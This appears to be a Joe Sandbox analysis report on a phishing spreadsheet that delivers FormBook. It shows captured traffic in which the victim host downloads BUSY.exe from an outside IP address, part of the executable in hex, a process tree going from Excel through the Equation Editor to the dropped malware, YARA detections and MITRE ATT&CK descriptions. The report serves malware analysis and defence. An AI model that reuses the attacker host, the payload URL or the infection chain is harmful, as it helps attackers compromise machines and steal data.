May 13, 2022 16:42:02.456495047 CEST	2	OUT	GET /busy/BUSY.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 198.12.81.20 Connection: Keep-Alive
May 13, 2022 16:42:02.572757959 CEST	3	IN	HTTP/1.1 200 OK Date: Fri, 13 May 2022 14:42:02 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.0.17 Last-Modified: Fri, 13 May 2022 11:21:13 GMT ETag: "3e719-5dee2df4306a6" Accept-Ranges: bytes Content-Length: 255769 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!`G@@@/OQ@@I@/OS@c>@+F@Rich@PELOah:F6@;@;P.textgh `.rdatal@@.data9@.ndata:.rsrcP;@@

Target ID:	0
Start time:	16:42:16
Start date:	13/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f080000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXEPID: 2576, Parent PID: 576

General

Target ID:	2
Start time:	16:42:40
Start date:	13/05/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exePID: 2372, Parent PID: 2576

General

Target ID:	4
Start time:	16:42:44
Start date:	13/05/2022
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\vbc.exe"
Imagebase:	0x400000
File size:	255769 bytes
MD5 hash:	029BBE98A216416EB698CA543A5C0830
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: idcqz.exePID: 2428, Parent PID: 2372

General

Target ID:	5
Start time:	16:42:47
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\idcqz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab
Imagebase:	0xb50000
File size:	80384 bytes
MD5 hash:	51F62DEF6DC686B87CC0BAFC31685546
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: idcqz.exePID: 2544, Parent PID: 2428

General

Target ID:	6
Start time:	16:42:47
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\idcqz.exe
Wow64 process (32bit):
Commandline:	C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab
Imagebase:
File size:	80384 bytes
MD5 hash:	51F62DEF6DC686B87CC0BAFC31685546
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO 65738963578 Revise Settlement.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BUSY[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3BF36CD9.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5CBD0238.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5D623D4F.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A9EBFD06.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D8559C53.emf

C:\Users\user\AppData\Local\Temp\bn5z71pvulub10vjar

C:\Users\user\AppData\Local\Temp\dknqrab

C:\Users\user\AppData\Local\Temp\idcqz.exe

C:\Users\user\AppData\Local\Temp\nswAB85.tmp

C:\Users\user\AppData\Local\Temp\~DF676A4AF24BE52768.TMP

Windows Analysis Report
PO 65738963578 Revise Settlement.xlsx